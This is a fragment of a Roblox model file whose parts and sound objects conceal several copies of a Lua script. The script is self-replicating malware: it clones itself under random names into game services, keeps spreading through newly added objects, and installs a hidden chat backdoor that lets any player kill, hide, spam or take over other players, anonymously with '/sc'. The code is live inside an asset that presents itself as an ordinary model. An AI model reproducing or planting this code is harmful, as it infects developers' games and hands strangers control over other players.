if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX451">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-28.0707645</X>
								<Y>3.32225418</Y>
								<Z>139.465897</Z>
								<R00>-0.538089991</R00>
								<R01>2.00345858e-006</R01>
								<R02>0.842887282</R02>
								<R10>2.63803122e-006</R10>
								<R11>1</R11>
								<R12>-6.92809181e-007</R12>
								<R20>-0.842887282</R20>
								<R21>1.85076931e-006</R21>
								<R22>-0.538089991</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">0</float>
							<float name="LeftParamB">0</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Torso</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">0</float>
							<float name="RightParamB">0</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="Decal" referent="RBX452">
							<Properties>
								<token name="Face">5</token>
								<string name="Name">roblox</string>
								<float name="Shiny">20</float>
								<float name="Specular">0</float>
								<Content name="Texture"><hash>a7b5654da45eafbc96499a90f764de83</hash></Content>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX453">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">1okg</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX454">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">ilixzyx</string>
										<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
						</Item>
						<Item class="StockSound" referent="RBX455">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">o0wn34c0n</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX456">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">32jug</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
